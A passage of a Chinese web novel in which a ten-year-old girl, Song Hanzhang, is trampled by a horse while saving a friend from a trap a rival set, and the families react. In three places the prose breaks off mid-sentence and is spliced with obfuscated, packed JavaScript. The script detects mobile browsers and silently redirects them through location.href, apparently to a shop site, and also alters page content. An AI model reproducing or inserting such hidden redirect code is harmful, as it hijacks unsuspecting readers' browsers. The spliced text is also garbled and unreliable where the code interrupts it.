当大家看到宋含章手里的饭碗时,又一次被震惊了。那碗——如果还能叫碗的话——比和尚化缘用的钵盂还要大,还要深,碗里装满了米饭,白花花地堆成了小山,那分量粗略一算,相当于他们手里饭碗至少五碗的量。 饭堂里安静了一瞬。所有人都盯着那只大碗,看那里面堆得冒尖的米饭,看宋含章那一本正经的表情——她说"只吃一碗饭"的时候,语气和神态都像一个认真改过自新的乖女儿。 这确实只是一碗米饭。她也确实只吃一碗。只是这一碗的分量,比平时的还要多。 宋含章看着大家那拼命忍笑的表情,认真地说道:"你们别笑。我说到做到,以后我 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宋含章走到饭堂外院子里的那棵老槐树下,在树根旁的石头上坐下来,将大碗搁在膝头,大口大口地吃着饭。暮色笼罩了院子,树影落在她身上,把她遮住了一小半。 气归气,毕竟是自己身上掉下来的肉,说不疼爱那是假的。宋夫人坐了片刻,终于还是站起来,拿起筷子,端起桌上那一碟红烧肉,走出了饭堂。她走到院子里,在宋含章面前站定。 宋含章抬起头,嘴边还沾着饭粒,看见母亲手里那碟肉,眼睛一瞬间亮了起来,随即又努力压下去。 宋夫人板着脸,动作利落地把碟子里的红烧肉夹了一半,全部堆进了宋含章的碗里,红亮的肉汁渗进了米饭里。 宋含章立马站起来,嘴上还在说:"娘亲,这肉太肥了,吃了会长更多的肉。女儿只吃一碗饭,不吃肉。" 宋夫人冷笑一声,那笑里有看穿一切的洞察,也有说不出的心疼。她什么也没说,转身便走进了饭堂。 宋含章站在树下,目送母亲的背影消失在门内,然后低头看着碗里那几块油光红亮的肉,两眼放光。 她重新坐下来,拿起筷子,直接把藏在碗底的东西翻了上来——原来那大碗底下早就藏了好几块红烧肉和一个大鸡腿,被米饭严严实实地盖住,此刻翻了上来,热气和香气一起扑向她的脸。 她用筷子夹起一块肉,塞进嘴里,腮帮子鼓起来,满意地嚼着。母亲加的那几块肉,她吃得更慢一些,一块一块,像是在品味什么不一样的东西。 15. 凌霜用计策,含章被马踩 是日,阳光明丽。书院休息时分,余老先生有事找王谦山长商议,临走前交代宋含章他们好生待在学堂里不要乱跑,便夹着书卷匆匆离开了。 他的脚步声刚消失在走廊尽头,学堂里的气氛便松了下来。 霍凌霜第一个站起来,昂着头,扫视了一圈在座的稚童们,声音里带着她一贯的骄傲:"走,我带着你们去骑马!" 大家一听可以骑马,都兴奋不已。要知道这些高门贵府的孩子们虽然家中都有马车,但真正能够骑上骏马驰骋的机会却不多——马是武将家的专属,文官家的孩子大多只会坐车。 他们纷纷围到霍凌霜身边,七嘴八舌地让她教自己。 顾子衿也跑过去,仰着小脸说想学,霍凌霜拍了拍她的肩膀算是答应了。唯独宋含章坐在自己的位置上一动不动,像一尊小小的山。 霍凌霜走到宋含章面前,叉着腰,下巴高高扬起,姿态盛气凌人:"宋含章,你没有骑过马吧?想不想看看姑奶奶我骑马的英姿啊?" 宋含章站起身,双手抱在胸前,目光平视着她:"姑奶奶,我是没有骑过马,可是我可以学。不会骑马不丢人,会骑马也没什么好炫耀的。" 曾思雨在一旁阴阳怪气地插嘴:"就你那圆滚滚的身子,不要把马给压死了。那马多可怜,驮一座山。" 此话一出,除了顾子衿,大家都忍不住嘲笑起来。笑声在学堂里回荡,有人拍着桌子,有人捂着肚子,仿佛曾思雨说了什么了不得的妙语。 可是,这一次宋含章没有生气。她只是看着霍凌霜,语气笃定得像在陈述一个事实:"姑奶奶我天生聪明,一看便会。到时候谁压死马还不一定呢。" 霍凌霜被她的眼神激起了一股不服输的劲,昂起头,手一挥:"走,去后山马场。" 一群稚童簇拥着霍凌霜,像一群小麻雀跟着领头的燕子,穿过书院的走廊,来到了后山的马场。 那马场不大,是书院用来教习骑射的地方,几匹老马正在围栏里低头吃草,鬃毛在阳光下泛着温驯的光泽。 霍凌霜二话不说,大步走到一匹温顺的老马身边。那马认识她,打了个响鼻,用鼻子蹭了蹭她的肩膀。她伸手拍了拍马脖子,然后利落地翻身上马,动作一气呵成——双手撑住马鞍,双腿发力一蹬,身子便稳稳地落在了马背上。 她拿起缰绳和马鞭,两腿夹紧马腹,手腕一抖,扬起马鞭轻轻落在马臀上,马儿便在场地里驰骋起来。她骑马的姿态英姿飒爽,碎发在风中飘扬,身姿随着马背起伏,整个人像是与马融为一体。 大家看着霍凌霜在马背上的身影,都羡慕不已。顾子衿拍着手,曾思雨和顾子佩看得合不拢嘴。 尤其是宋含章——她从来没有骑过马,连马背都没有碰过。她站在围栏外,看着霍凌霜在马背上那自由驰骋的样子,眼睛亮得像两颗星星。 她做了一个决定:她一定要学会骑马。不是为了跟霍凌霜比,是为了自己。 霍凌霜骑了一圈下来,翻身下马,走到一棵大树旁,手脚并用地爬上树干。她在一根粗壮的枝桠上停下,伸手握住枝桠的一个分叉处,用力掰了几下,直到听见一声细微的裂响。然后她跳下树,拍了拍手上的树皮碎屑,走到宋含章身边,下巴一扬:"你去试一试。刚才看得那么认真,该不会是光看不敢上吧?" 宋含章双手抱在胸前,毫不示弱:"试就试。" 可她慢了一步——顾承泽已经从人群中跑了出去,动作比谁都快,手脚并用地爬到了另一匹骏马的身边,翻身上了马背。 顾承宇以前教过顾承泽骑马,所以他也算会骑。他坐在马背上,腰杆挺直,拿起缰绳,夹紧马腹,扬起马鞭轻轻一挥,马儿便小跑起来,蹄声轻快。 顾承泽骑马在场上小跑了几圈,得意洋洋地朝众人挥了挥手。他骑着马跑到那棵大树下,正打算掉头回来。 就在这时,头顶传来一声脆响——"咔嚓"。树上那根被霍凌霜掰过的枝桠应声断裂,从高处直直坠落下来,砸在了马身旁的地面上,扬起一片尘土。 马儿听到这突如其来的声响,耳朵猛地竖起,前蹄腾空,惊恐地嘶鸣了一声,然后撒开四蹄疯狂地跑了起来。 顾承泽在马背上摇摇摆摆,身子□□右倒,差点被甩出去。他拼命勒紧缰绳,可是受了惊的马哪里还听他的使唤——它像疯了一样冲向人群的方向。 马儿朝着顾子衿直直地冲过来。马蹄如鼓点般密集地踏在地面上,震得尘土飞扬。 顾子衿站在原地,瞳孔放大,两个人像是被钉在了地上——她想跑,可双腿像是灌了铅,怎么也挪不动。周围的尖叫声此起彼伏,可没有人来得及伸手。眼看马蹄就要踏在她身上。 危急时刻,宋含章猛地扑了过去。她冲到了顾子衿面前,张开双臂将顾子衿用力推向一旁。顾子衿被推得滑出去好几步远,跌坐在地上。 宋含章想转身躲开,已经来不及了。她伸手去拉缰绳——缰绳被她拉住了,可那匹马的前蹄高高扬起,带着全身的重量,直直地踏在了她的后背上。 "噗——"宋含章当场吐了一口鲜血,那血溅在泥地上,深红色的,触目惊心。可她那双粗壮的手,依旧死死地拽着缰绳,没有松开。 被推开的顾子衿跌坐在一旁,额角擦破了皮,渗出了血珠,但她顾不上了。她眼睁睁看着那一幕发生——看着宋含章挡在自己身前,看着马蹄落在她背上,看着那一口血从宋含章嘴里喷出来。 霍凌霜、顾子佩、沈十安、钟荀彧和曾思雨已经吓得失魂落魄。曾思雨的脸白得像一张纸,嘴唇发青,浑身都在发抖;顾子佩直接哭了出来,鼻涕眼泪糊了一脸;沈十安瞪大眼睛站在原地,喉咙里发不出一个音节;钟荀彧的双手在剧烈地颤抖,但他比所有人都更快地意识到了什么。 宋含章虽然被马踩了背,可是她仍然死死地拽着缰绳不放。她的力气太大了——那双能把人扔上树的手,此刻正青筋暴起地攥着粗糙的缰绳。 马儿的头被她拉得偏了过来,在剧痛之中发出嘶鸣,前蹄扬了几下后终于被制住了。 顾承泽慌乱之中赶紧想要从马背上下来,可他一慌,身子一斜,整个人从马背上摔了下去。偏偏他摔下去的方向,正好落在宋含章的背上。 那重力直直地砸在了刚刚被马蹄踩过的同一处伤口上,宋含章又吐了一口血,那血比第一口更多。她的双手终于松开了缰绳,整个人趴在了地上,当场昏死过去。 "含章——!"顾子衿的尖叫声划破了后山的宁静。 率先从惊慌之中回过神的,是钟荀彧。他虽然平日里最爱跟着别人一起嘲笑宋含章,可此刻他的脑子比任何人都清醒。他拔腿就跑,朝着东院的方向狂奔而去,脚步在青石板路上踏出急促的节奏,一路跑一路喊:"王山长——王先生——宋含章被马踩伤了——吐了好多血——" 当王谦、王修安、宋行简、洪楚离、程国恩和余老先生等人闻讯赶到马场时,所有人都被眼前的景象震住了。 宋含章面朝下趴在泥地上,后背的衣裳上印着两个清晰的马蹄印,嘴角的血已经流了一小滩,在泥土上洇成了暗红色的印记。她一动不动,连呼吸都微弱得几乎看不见。 顾子衿跪在她身边,眼泪止不住地往下掉,正用自己的衣袖慌乱地给她擦拭嘴角的血迹,衣袖已经被血染红了大半。她的手一直在发抖,可她始终没有停下。 其余的人被吓得六魂无主,或站或蹲,脸色惨白如纸。那匹受惊的马已经安静了下来,站在围栏的另外一边安安静静地低头吃草,仿佛什么都没有发生过。 宋行简冲到妹妹身边,蹲下身子,双手从她身下穿过,想把妹妹抱起来。可是妹妹的体重太重了——他使出了浑身的力气,脸涨得通红,手臂的肌肉都在发颤,却怎么也抱不起来。他的眼眶一下子就红了——不是因为抱不动,而是因为怀里这个被他抱不动的妹妹,正毫无生气地瘫软着。"含章——含章你醒醒——" 程国恩赶紧跑过去,蹲在另一侧,和宋行简一人一边,合力把宋含章从地上扶了起来,将她架在两人肩上,快步抱向东院王谦山长休息的房间。 此时的房间里,安静得只剩下郎中翻动医箱的声音和众人压抑的呼吸声。 宋含章趴在床上,面朝下,背朝上。她的背部衣衫已被郎中小心翼翼地全部剪开,露出下面的皮肤。众人这才真正看清那伤口的全貌——被马蹄踩中的地方皮肉已经绽开,青紫色的淤痕向四周扩散,中间是两道触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不会撒谎的霍凌霜,低着头沉默了许久。房间里安静得只剩下窗外鸟鸣。然后她抬起头,看着王谦的眼睛,眼圈泛红,声音发颤:"山长,是我。我想吓宋含章——我事先算好了时辰,故意把大树的枝桠掰得半断,想着等宋含章骑马经过时,那枝桠刚好落下来,马儿就会受惊,她就会被吓坏。我……我只是想看她出丑,我想让她在全书院的人面前丢脸。我没有想到……我没有想到顾承泽会先骑上去……我也没有想到马会冲向子衿……" 王谦听了,闭上眼睛。他的手背在身后,攥成了拳头。他在压制着胸腔里翻涌的怒意。良久——仿佛过了整整一个秋天那么久——他睁开眼睛,没有再看霍凌霜一眼,转身推门而出,回到了院中。 宋行简和程国恩在院中不断地来回踱步,像两只困在笼中的兽。宋行简的拳头攥了又松,松了又攥,指节发白。他的心都揪在了一起,两只眼睛不时地望向那扇紧闭的房门。 程国恩面色沉得能滴出水来,一句话也不说。王修安和洪楚离也站在院中,忧心忡忡,两人都沉默不语,偶尔交换一个眼神,那眼神里装的都是同一个问题。 余老先生坐在廊下的台阶上,脊背佝偻着,苍老的手撑在膝盖上。他看着那些被吓坏的孩子们——曾思雨还在发抖,顾承泽脸色惨白地蹲在墙角,一句话也说不出来,沈十安目光空洞地望着地面,像是还没回过魂来。 他又望了望那间紧闭的房门,满心自责。临走前是他让这些孩子们好好待着的,如果他没有走,也许这一切就不会发生。他这半辈子,戒尺打过无数孩子的手心,却从没想过要把门也从外面锁上。 又过了很久——久到日头从正中央偏到了西边,久到所有人的心都快被吊干了——郎中终于推开房门,走了出来。他的衣袖上还沾着血迹,额头上有细细的汗珠,手中提着的医箱在晚风中微微晃动。 宋行简一个箭步冲到郎中面前,声音急切得几乎破碎:"先生,请问含章如何了?" 郎中看着院中众人那焦急的目光,缓缓说道:"幸好含章身体厚实——那一层血肉护住了筋骨,马蹄踩中的地方虽然皮开肉绽,伤口很深,好在没有伤及内脏。若是换个体弱的孩子,恐怕就凶多吉少了。我已经给她上了药,包扎好了。这几日需要好生休养,不能乱动,更不能打架。" 宋行简听了,紧绷的身体终于松了下来,长长地吐出一口气,那口气里装着一整个下午的恐惧和焦灼。众人也都长长地松了一口气,院中的空气仿佛终于又可以流动了。 顾子衿从房间里走出来,眼睛还红着,走到王谦面前,轻声说:"山长,含章还没醒。但她迷迷糊糊地说马有没有事,顾承泽有没有事。" 这句话让院中安静了一瞬。然后,眼眶又红了。 16. 刀伤有药可治,话伤无药可医 夕阳落尽,最后一缕余晖被夜色吞没,天彻底黑下来了。京城的街巷次第亮起灯火,宋府里的灯笼也一盏接一盏地亮了起来,暖黄的光晕照着廊下的柱子,照着院中的老槐树,也照着那些为宋含章悬了一整天的心。 宋含章趴在自己的床上,面朝下,背朝上。背上的伤口已经被郎中包扎过,可血还是洇透了两层纱布,在烛光下透出淡淡的红。她还在昏睡,呼吸粗重而不均匀,每一下都牵动着背上那片触目惊心的伤。 春夏守在床边,一双眼睛已经哭得又红又肿,像两颗桃子。她家姑娘平日里生龙活虎,能把人扔上树,能把蛇开膛破肚,可此刻趴在那里连翻个身都做不到。她手里攥着一条帕子,随时准备给姑娘擦额头上疼出来的冷汗。 宋玉章端着药盘站在一旁,宋夫人坐在床沿,动作极轻极轻地给女儿换药。当她揭开旧纱布,看到女儿背上那两道触目惊心的伤口时——一道是马蹄踩出来的青紫淤肿,皮肉绽开,四周已经肿得发亮;另一道也是马蹄落下踩出的另一道伤口,还有一条马蹄蹭出的一道深深的血痕,斜斜地划过肩胛骨,像是被烙铁烫过——心疼得无以复加。 她的手指在发抖,眼泪止不住地往下淌,顺着脸颊滑落,滴在女儿背上的纱布上。她用尽全部的意志力才让自己的手保持稳定,一点一点地清洗伤口,一点一点地敷上药膏,每碰一下都像在碰自己心尖上最嫩的那块肉。 一旁的宋引章站在床边,看着宋含章背上那片触目惊心的伤口,眼泪也无声地流了下来。宋引章才八岁,还不完全明白发生了什么,她只是看到二姐姐趴在床上一动不动,看到娘亲一边换药一边哭,于是她也跟着哭,小小的人儿不停地用袖子擦眼睛。 宋玉章伸手揽住妹妹的肩膀,自己的眼眶也是红的。 屋外的院子里,宋四维负手而立,抬头望着天上的明月。春夜的月亮又圆又亮,清辉洒了满院,照得老槐树的叶子泛着银光。 他在朝堂上面折廷争,在翰林院里著书立说,半辈子见过太多人、太多事,可此刻站在月光下的他,只是一个普通的父亲。他心疼女儿——那伤口他看了一眼就再也不敢看第二眼。可除了心疼,他心里更多的是欣慰。 女儿在危难之际毫不犹豫地扑上去推开顾子衿,又在被马踩中之后死死拽住缰绳不松手,救下了马背上惊慌失措的顾承泽。更让他动容的是,听郎中说,她在昏迷之中嘴里还在迷迷糊糊地问:"老马有没有事?顾承泽有没有事?" 一个十岁的孩子,在那种剧痛之中,在意识模糊之际,牵挂的不是自己的伤,而是那匹受惊的老马和那个平日里总是嘲笑她的同窗。这足以说明,他的女儿不是一个只会打架的莽撞孩子。她打架,打的是欺负人的人;她护人,护的是比她更弱的人。她的骨子里,有一股浩然正气。 顾府的前厅里,灯火通明,气氛却格外凝重。顾老夫人坐在上位,双手拄着那根紫檀木拐杖,面色沉静而严肃。顾大夫人和顾二夫人分坐两旁,谁也不敢先开口。 顾承宇和顾子衿站在一处,顾承泽和顾子佩站在另一处。 顾子衿的衣袖上还沾着没洗干净的淡淡血痕,那是她给宋含章擦嘴角时染上的。她的眼睛还红着,从书院回来后就一直没怎么说话。 顾承泽缩着脖子,不敢抬头,他的膝盖还在发软——从马背上摔下来时他以为自己要死了,是宋含章用自己的背接住了他。 顾子佩站在哥哥身边,两只手攥着衣角,整个人还没从惊吓中完全回过神来。 顾老夫人的目光先落在顾大夫人身上,声音不疾不徐,却带着一种不容置喙的分量:"宋家二姑娘救了子衿一命。子衿是咱们侯府的嫡女,是你身上掉下来的肉。如今人家为了救你的女儿,受了那么重的伤,至今还在昏迷当中。这份恩情,不是嘴上说说就完了的。明儿个,你一定要亲自去宋府探望一番。这等救命之恩,是要记一辈子的。" 顾大夫人赶紧站起身,郑重地行了一礼,声音诚恳而感激:"婆母,儿媳记下了。明日一早便去,绝不怠慢。" 顾老夫人的目光随即转向了顾承泽。那目光像一柄陈年的剑,虽已不出鞘,锋芒犹在。她盯着这个二房的孙子,声音沉了几分:"你看看你——你还好意思说自己是一个男儿吗?平日里跟着别人一起嘲笑宋家二姑娘的时候,你不是能说会道得很吗?可今日,人家宋家二姑娘在危难之际死死拽住了缰绳,把受惊的马硬是拉住了,你呢?你倒好——人家拉住了缰绳,你竟然还从马背上摔下来,砸在人家的伤口上,让人家多吐了一口鲜血。" 顾承泽的脸涨得通红,羞愧得恨不得地上裂开一条缝让他钻进去。他记得自己摔下去时,身下那个柔软的触感,记得宋含章当场喷出的那一口滚烫的血。他在心里想,如果当时被马踩的是子衿,只怕是…… 顾老夫人没有放过他的沉默:"承泽,祖母希望你记住人家的恩情,不要做忘恩负义之人。恩将仇报,是这世间最下作的事。你也是读了一些圣贤书,这点道理应当明白。" 顾承泽一撩衣摆,跪了下来,额头几乎碰到地面:"孙儿谨记祖母教诲。孙儿——孙儿以后再也不跟含章过不去了。" 顾老夫人的目光最后落在了顾二夫人身上,语气里多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618696|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几分训诫,也多了几分语重心长:"宋家二姑娘也救了你的儿子。人家不计前嫌——承泽平日里对她说过多少难听的话,你心里有数——可危急关头,人家照样出手相救。这份度量,这份心肠,不是谁都能有的。我希望你以后把儿女管严一些,不要再让他们的嘴巴去伤害人家了。"她顿了顿,拐杖轻轻在地面上叩了一下,"很多时候,一句话的伤害,比战场上的刀枪剑戟都来得更深。刀伤有药可治,话伤无药可医。" 站在一旁一直沉默不语的顾承宇,听到这里,心里竟然浮现起了那个才十岁的宋家二姑娘。他从来没有见过她——或者说,从来没有认真注意过她。可这些日子以来,这个名字不断出现在他的生活里:书院里做木鸢飞上天的是她,后山抓蛇生吃蛇胆的是她,被全京城嘲笑却从不肯低头的是她,如今在马蹄下舍命救下子衿的,还是她。他忽然很想见一见这个传说中的"大混世魔王",看一看她究竟长了一副怎样的眉眼,揣了一颗怎样的心。 威震将军府的院子里,月光清冷如水。 霍凌霜趴在一条长凳上,双手死死地抓住凳子腿,指节攥得发白。她的后背裸露在夜风里,上面是十道新鲜的鞭痕,一道一道交错着,皮开肉绽,血珠还挂在伤口边缘,在月光下泛着暗红。她没有哭,也没有叫,只是把牙齿咬得咯咯作响,硬是一声不吭。 霍擎苍站在她身后,手中还握着那根沾了血迹的马鞭。他的白发在夜风中微微飘动,他的声音不怒自威,每一个字都像是淬过火的铁:"防人之心不可无,害人之心不可有。这句话,祖父从小就在你耳边念叨,不知道给你说了多少遍。任何事情都要堂堂正正,赢得起,也要输得起。你想赢宋含章,可以——去练武,去读书,去光明正大地比一场。哪怕输了,那也输得体面。可你偏偏要动歪心思,用这些下作的手段去害人。为了整宋家二姑娘,你竟然去掰断树枝,设下陷阱——如果那马蹄踩中的不是她的背,而是她的后脑勺呢?如果是子衿被踩中了呢?你担得起这个后果吗?" 他顿了顿,声音里的怒意被一种更深沉的失望取代:"如果是你父亲知道了此事,你的腿都会被打断。你父亲在战场上,从不用阴谋诡计取胜。霍家的人,靠的是真本事,不是下三滥的手段。你今日做的事,不配姓霍。" 霍凌霜趴在凳子上,硬是一颗眼泪都没有掉。不是因为不疼——后背火辣辣的痛像火烧一样,每一道鞭痕都在提醒她今日犯下的错——而是因为她知道,自己错了。 知道错了,就要挨罚;挨罚,就要站直了挨。这是霍家的规矩。她做错了事,挨多少鞭子都是应该的。 17. 让含章退亲,嫁给承宇 清风居顾承宇的书房里,烛火跳动着,将四个人的影子投在墙上。 顾承宇与王修安伏在案上,面前摊着一张画满了阵法符号的图纸,正在研究一套新的阵法。两人时而落笔标注,时而低声讨论,手指在图纸上指指点点,对于排兵布阵的专注力,将白日的纷扰都暂时搁在了棋盘之外。 洪楚离难得没有翘腿搭在书案上,而是坐在椅子上,百无聊赖地看着坐在一旁看书的宋行简。他忍了又忍,终于还是没忍住,开口问道:"书呆子,你妹妹醒过来了吗?" 宋行简头也没抬,目光依旧落在书页上,声音低低的,带着一抹压不下去的忧色:"还没有。中途微微张嘴,喝了口水又昏睡过去了。郎中说是失血过多,身体需要时间恢复。" 洪楚离长长地叹了一口气,难得地收起了平日里的嬉皮笑脸,语气变得格外认真:"想不到小小的含章,竟是一身正气。不仅救了子衿,还不计前嫌,死死拽住缰绳救下承泽。承泽从马背上掉下来砸在她身上的——那几十斤砸下去,她嘴里立刻喷了血。可她从头到尾没吭一声。" 他摇了摇头,像是在重新审视什么:"这份勇气和心胸,当真是叫人刮目相看。我以前说过不少关于她的难听话,那些''肥猪''''胖天仙''的话,我说得最多。现在看来,最丑陋的不是她的身形,是我这张嘴。" 王修安从阵法图纸上抬起头,看着洪楚离,目光里带着几分赞许——赞许他终于说了一句在理的话:"所以,人不要只看外表。你以前只看她的身形,就否定了她整个人。含章这份勇气和心胸,确实叫人佩服。"他停了片刻,忽然轻轻叹了口气,语气里多了一丝惋惜,"以后长大了嫁给沈十安,确实可惜了。沈家那孩子,骨头太软,配不上她。一颗明珠,就要被埋没在沈家那滩死水里了。" 洪楚离站起来,走到宋行简身边,弯腰伸手把他手里的书抽走,合上放在一旁:"要不让宋叔叔去沈家退了亲,然后把含章许配给承宇。承宇不是想要那种一见到就心跳的人吗?依我看,含章这样的,比那些只会拈花弄月的大家闺秀有意思多了。让承宇带着含章去西疆冲锋陷阵,一个使落日枪法,一个使拳头腿脚,那才叫珠联璧合。" 宋行简抬起头,白了他一眼:"你开什么玩笑。这亲事是沈家老太爷和我祖父定下来的,两位老人家都已不在人世,这门亲事除非两家家长都同意,否则哪能轻易更改?再说了,含章才十岁,还不到议亲的年纪。你当真是乱点鸳鸯谱。" 顾承宇听了,抬起头看着洪楚离,语气平淡,却带着一丝若有所指的意味:"你这张嘴啊,净拣不好听的说。以前拣难听的编排含章,现在又拣没边的编排我。你什么时候能说点靠谱的话?" 王修安也抬起头看着洪楚离,嘴角带着一丝促狭的笑意:"你还是担心担心你自己吧。我看你的骨头也没硬到哪里去。那霍家大姑娘霍傲雪,可是在北疆战场上真刀真枪冲锋陷阵过的——听说她十五岁时就跟着霍将军夜袭敌营,亲手砍翻了好几个敌兵。别到时候人家姑娘回京城,一根手指就能把你提起来扔到房顶上。到时候你就不是霍家女婿,是霍家房梁上的纸鸢了。" 洪楚离一听,立刻挺直了腰杆,摆出一副大丈夫的模样,拍着胸脯道:"妻为夫纲,天经地义。即使她上过战场又能怎样?还不是得三从四德屈服于我。我洪楚离堂堂七尺男儿,岂能在一个女子面前矮了半截?" 顾承宇抬了抬眉,放下手中的阵法图,看着洪楚离,声音不重,却有一种从骨子里透出来的笃定:"上过战场的人,他们的脊背是不会弯曲的。他们就像那西疆的胡杨树,宁折不屈——□□可以倒下,可以被风沙掩埋,但脊背永远都是高高耸立着。你让一个在刀光剑影里活过来的人去''屈服''于谁,那是对她最大的侮辱。"他顿了顿,手指轻轻叩在棋盘上,"两个心意相通之人,不是让谁屈服于谁,而是能够携手并肩,一同应对人生的风雨。她在前面杀敌,你在后面磨刀;她在生死之间闯荡,你在灯下等她归来。这才是真正的''妻为夫纲''。" 王修安接过话头,目光落在洪楚离身上,语气比平日里教《战国策》时还要认真三分:"承宇说得对。你啊,不要总是想让霍家大姑娘屈服于你。你扪心自问——人家霍家大姑娘十五岁就在战场上立下军功,你呢?十五岁还在书院里跟人吵架,连《孟子》都背不全。你要想方设法提高自己,让自己配得上人家霍家大姑娘。而不是一副高高在上、觉得是人家配不上你的样子。配不配,不是你说了算的,是实力说了算的。" 宋行简也放下手中的书卷,难得地附和道:"是啊。人家霍家大姑娘上阵杀敌的时候,你一天到晚在这里耍嘴皮子。在书院书也不好好念,王先生讲的课你从没认真听过一节,还整日里吟什么''关关雎鸠'',真到了考场上连一篇像样的策论都写不出来。我劝你多用功些,别到时候人家霍家大姑娘回京城,第一件事就是去你洪府退亲。" 被大家这么一说,洪楚离破天荒地没有顶嘴,而是沉默了下来。他坐在椅子上,手指无意识地敲着扶手,目光落在桌上跳动的烛火上,忽然觉得大家说得也对。自己虽然出身高门——父亲是当朝太傅,门生故吏遍布朝野——可是自己呢?不要说是否有功名在身,就是那书都念不好,文章写得歪歪扭扭,骑射更是稀松平常。到时候霍家大姑娘瞧不起自己怎么办?难道真要靠父亲的官位去压人家吗?他想起顾承宇方才说的"并肩携手",忽然觉得自己离那四个字还差了十万八千里。 顾承宇看着陷入沉思的洪楚离,微微摇了摇头,不再多说。有些道理,旁人只能点到为止,真正的醒悟需要自己去撞。他低下头,重新拿起阵法图纸,与王修安继续推演沙盘上的排兵布阵。 黑夜褪去,白日到来。阳光透过窗棂洒进宋含章的房间,落在她那张圆圆的脸上。她终于醒了过来,睫毛颤了几颤,那双明亮的眼睛缓缓睁开,仿佛从一个漫长的黑暗隧道里终于走到了出口。 顾子衿没有去书院,她告了假,一大早就来到宋府,在宋含章的床边守了一个早上。她端着药碗,用小勺子搅了又搅,等着药汤凉到刚好能入口的温度。 宋含章依旧趴在床上,侧着脸看顾子衿,嘴角扯出一个虚弱的笑容。顾子衿坐在一旁,眼睛还是红的,昨晚显然没怎么睡好。她的衣袖上那淡淡的血痕还没有完全洗掉,她也不想洗——那是含章的血,她舍不得洗。 宋含章伸出手,握住了顾子衿的手指。她的手指有力,顾子衿的手指纤细白嫩,两只手交握在一起,像一棵大树的根与另一棵树的枝。 "我被别人羞辱的时候,你护在我身前。那时候所有人都笑话我,只有你站出来说''你们笑她的样子,远不如她揍你们的样子好看''。那句话,我一直记着。"宋含章的声音还有些虚弱,但语气认真而笃定,"你遇到危险时,我自然也要护着你。这有什么好说的?" 顾子衿的眼泪又涌了上来,声音发颤:"可是你差点把自己的命都搭进去了。含章,我欠你一条命。那马蹄要是再偏一寸,要是踩在你的后脑勺上——" 宋含章不高兴地打断了她,手上加重了些力道:"我们是最好的朋友,不要说这些欠不欠的。什么还不还、欠不欠,太见外,太生分了。你再说这种话,我就不让你给我端药了。"她抿了抿嘴,又补了一句,"朋友之间,本来就是你护着我、我护着你的。如果我遇到了危险,你也会这样护着我的。" 顾子衿听了,眼里还带着泪,嘴角却含了笑。那笑容在泪光里格外清澈,像雨后初晴的天空。她点了点头,没有再说话,只是握紧了宋含章的手。 不久,顾老夫人、顾大夫人和顾二夫人亲自带着厚礼来到宋府。礼物用锦盒装着,码了满满一桌——有补血养气的灵芝与人参,有外敷的金疮药膏,还有几匹上好的云锦。 宋夫人热情地招待了她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618697|206141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,几人在前厅里喝茶闲聊了几句后,顾老夫人搁下茶盏,温声提议去看看宋含章。 宋夫人便起身,引着三人穿过走廊,来到了宋含章的院子。 三人刚一踏进院子,便被眼前的景象震撼了。院子里没有绣架,没有花圃,没有那些闺秀院子里常见的花花草草和秋千藤架。取而代之的,是堆在墙角的一根根木头、散落在石桌上的刨刀与凿子、架在木桩上的半成品木鸢,以及一地金黄的刨花。 角落里还有一个简易的木工台,上面摆着一把被用得油光水滑的刨子,旁边是几根正在晾干的竹管。空气里弥漫着一股淡淡的木屑清香,那是她们从未在任何一个女孩子的院子里闻到过的气味。 宋夫人有些尴尬,脸上露出一丝无奈的笑,轻声说道:"让老夫人、大夫人和二夫人见笑了。我这二女儿啊,不喜欢女工——绣花针拿不稳,绣架也坐不住,就是喜欢这些木头和工具,一点女儿家的样子都没有。我说了多少回也不听,后来索性不说了。" 顾老夫人环顾了一圈这个与众不同的院子,目光在那些精巧的木鸢构件和细致的榫卯接合上停了许久。 她的嘴角缓缓浮起一抹笑意,那笑意里没有嫌弃,只有欣赏与认可:"含章这孩子,有那一身的正气就够了。那些花花草草、绣花描红的东西,有是锦上添花,没有也不打紧。只要她开心健康,比什么都好。更何况——"她用拐杖轻轻指了指院中那半成品的木鸢,"能做出这些东西的孩子,不是没有女红的本事,是不屑于做罢了。这份心思和巧手,比绣花难得。" 随后,几人轻手轻脚地走进了宋含章的房间。趴在床上的宋含章一见到顾老夫人三人进来了,挣扎着想坐起来,被顾大夫人连忙按住了。 她也不勉强,便趴在床上,有礼有节地逐一问好,声音虽然还虚着,礼数却一样不落:"含章见过老夫人,见过大夫人,见过二夫人。恕含章无礼,不能起身给长辈们行礼了。" 顾老夫人、顾大夫人和顾二夫人在床边坐下,关切地询问着宋含章的伤势——"还疼不疼?""夜里有没有发烧?""药可按时吃了?"顾大夫人还从袖中取出一小瓶外敷的药膏,说这是宫里的方子,对跌打损伤有奇效。她们说了许多感谢的话,每一句都发自肺腑,每一句都郑重而真诚。 